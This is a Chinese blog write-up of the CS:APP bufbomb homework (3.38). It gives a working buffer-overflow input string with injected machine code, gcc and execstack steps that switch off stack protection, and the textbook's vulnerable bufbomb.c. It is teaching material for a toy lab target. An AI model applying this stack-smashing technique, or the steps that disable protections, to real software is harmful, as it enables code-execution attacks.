前两天抽出时间做了一下cs:app的3.38homework,早就想做但是总也没时间。
题目就是对一段代码进行缓冲区溢出攻击,说白了就是修改函数的返回地址,让其执行你指定的指令。
环境: ubuntu 10.04, gcc-2.95, gdb-6.8, objdump-2.20.1
这里的gcc用的是比较老的版本,基本同cs:app书中的一致。新版本gcc(现在都是4.4以上了)有栈保护,需要多一步操作。
这个方法需要知道运行时的栈基址%ebp,所以需要在gdb下运行,根据不同的%ebp来输入不同的字符串。
在test()从getbuf()返回后,%eax的值为1,我们要做的是从getbuf()返回后,先跳去(
0xbfcc5fac)执行buf[]中给定的编码,从而将%eax修改为
$0xdeadbeef,然后才跳到test()的下一条指令继续执行(由pushl
$0x80485fb和ret两条指令来完成)。
1. 编译bufbomb.c
gcc -o bomb bufbomb.c -g
2. 反编译查看对应test()调用getbuf()后的返回地址
objdump -d bomb > dump_bomb
或者在运行时,从栈中查找,如图中绿色所示,这个值编译后是不会变的
3. 将要用到的汇编指令写到.s文件中,编译后再用objdump获得对应的指令编码
即将
movl $0xdeadbeef, %eax #修改eax,eax是test的返回值,原来的值为1
pushl $0x80485fb #压入原来的test返回地址
ret #弹出原test返回地址并执行
的编码从buf[0]开始填入,此处编码共11个字节,剩余的一个字节buf[11]随便填。
4. 所以运行时应输入的字符串为:
b8 ef be ad de 68 fb 85 04 08 c3 00 d8 5f cc bf ac 5f cc bf其中从开始到c3都是第3步汇编的编码对应buf[0]-buf[10],其中c3为ret的编码;00无意义,用来填充buf[11];紧接着为getbuf()保存的栈地址(这个是不能修改的);最后四个字节就是新的返回地址,即getbuf()的%ebp-12。
这些字符串和下图的栈结构相对应。栈从上到下,地址由高到低。
栈内容
| 注释
|
reserved ebp | test()的栈
|
... |
|
0x80485fb
| test()的栈顶 这是原返回地址 运行时应该被覆盖成0xbfcc5fac |
0xbfcc5fd8 | getbuf()的栈 当前%ebp=0xbfcc5fb8
|
buf[8]-buf[11] |
|
buf[4]-buf[7] |
|
buf[0]-buf[3] | 地址0xbfcc5fac |
... |
|
| getbuf()的栈顶 |
图:执行到getbuf()时的栈结构
--------------------------迷茫的分割线--------------------------Updated on 2012/9/25
最近在看cs:app 2e,机缘巧合把这个小实验又做了一遍
当然这次没有gcc-2.95了,在CentOS-5.5 i386上,gcc-4.1.2。步骤跟以前的基本一致,但是也碰到一些问题。
其实在比较新的系统,要真正利用buffer overflow做一些hack,一般有3个问题要克服,如书中所说:
1. 栈随机化
2. 栈破坏检测
3. 栈不可执行
但我们毕竟只是做做实验,只要找到上面3点应对措施即可:
第1点,以前用的bufbomb.c没有对main的栈作一些填充,导致test及后续的栈帧每次执行都是不同的(这其实也是为了防止这种buffer overflow的攻击),每次通过gdb来获取test()的%ebp。最近才发现新的bufbomb.c加了一个小workaround,可以保证test()在每次执行的时候都栈帧(%ebp)不变 ;-)
第2点,在gcc编译时,显式指定-fno-stack-protector选项,来去掉保护。
第3点,gcc 4.0+应该默认都是栈不可执行的,这个可以通过execstack来查看和修改栈的执行权限。
为了解决实验中由于系统和gcc版本引起的segmentation fault问题,最重要的第1步要注意:
编译bufbomb.c:
$ gcc -o bomb bufbomb.c -g -fno-stack-protector
并确保栈可执行:
$ execstack -s bomb这样上面3种问题都解决了,剩下的后几步跟以前一样。
。。。
最后程序根据输入,输出:"0xdeadbeef"
最后贴上新的bufbomb.c源代码,enjoy!
- /* Bomb program that is solved using a buffer overflow attack */
- #include <stdio.h>
- #include <stdlib.h>
- #include <ctype.h>
- /* Like gets, except that characters are typed as pairs of hex digits.
- Nondigit characters are ignored. Stops when encounters newline */
- char *getxs(char *dest)
- {
- int c;
- int even = 1; /* Have read even number of digits */
- int otherd = 0; /* Other hex digit of pair */
- char *sp = dest;
- while ((c = getchar()) != EOF && c != '\n') {
- if (isxdigit(c)) {
- int val;
- if ('0' <= c && c <= '9')
- val = c - '0';
- else if ('A' <= c && c <= 'F')
- val = c - 'A' + 10;
- else
- val = c - 'a' + 10;
- if (even) {
- otherd = val;
- even = 0;
- } else {
- *sp++ = otherd * 16 + val;
- even = 1;
- }
- }
- }
- *sp++ = '\0';
- return dest;
- }
- /* $begin getbuf-c */
- int getbuf()
- {
- char buf[12];
- getxs(buf);
- return 1;
- }
- void test()
- {
- int val;
- int array[1];
- printf("Local variable at %p\n", array);
- printf("Type Hex string:");
- val = getbuf();
- printf("getbuf returned 0x%x\n", val);
- }
- /* $end getbuf-c */
- int main()
- {
- int buf[16];
- /* This little hack is an attempt to get the stack to be in a
- stable position. By experiment, found that position of stack
- varies by one program execution to the next, but only in the low
- order 23 bits.
- */
- int offset = (((int) buf) & 0x7FFFFF);
- int *space = (int *) alloca(offset);
- *space = 0; /* So that don't get complaint of unused variable */
- printf("Added offset 0x%x, should move stack to around %p\n",
- offset, (char *) buf - offset);
- test();
- return 0;
- }
阅读(1442) | 评论(0) | 转发(0) |